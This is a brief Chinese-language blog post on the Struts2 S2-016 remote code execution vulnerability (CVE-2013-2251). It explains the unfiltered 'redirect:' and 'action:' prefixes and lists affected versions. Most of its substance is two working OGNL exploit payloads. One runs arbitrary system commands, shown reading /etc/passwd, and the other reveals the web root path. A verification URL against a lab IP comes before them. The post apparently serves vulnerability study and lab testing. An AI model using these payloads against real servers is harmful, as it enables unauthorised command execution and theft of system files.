1. 程式人生 > >S2-016 遠端程式碼執行漏洞

S2-016 遠端程式碼執行漏洞

在struts2中,DefaultActionMapper類支援以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向字首,但是這些字首後面同時可以跟OGNL表示式,由於struts2沒有對這些字首做過濾,導致利用OGNL表示式呼叫java靜態方法執行任意系統命令。

漏洞記錄

S2-016
CVE-2013-2251
影響版本:Struts 2.0.0 – Struts 2.3.15
http://struts.apache.org/release/2.3.x/docs/s2-016.html
影響範圍非常大

漏洞檢測利用

驗證:


訪問http://192.168.1.15:8080/index.action?redirect:OGNL表示式即可執行OGNL表示式。

http://192.168.1.15:8080/index.action?action:%25{3*4}

執行任意命令EXP

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆網站路徑EXP

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

k8工具檢測利用
在這裡插入圖片描述
執行命令:
在這裡插入圖片描述

參考連結:
https://www.freebuf.com/vuls/11220.html
https://github.com/vulhub/vulhub/blob/master/struts2/s2-016/README.zh-cn.md

在這裡插入圖片描述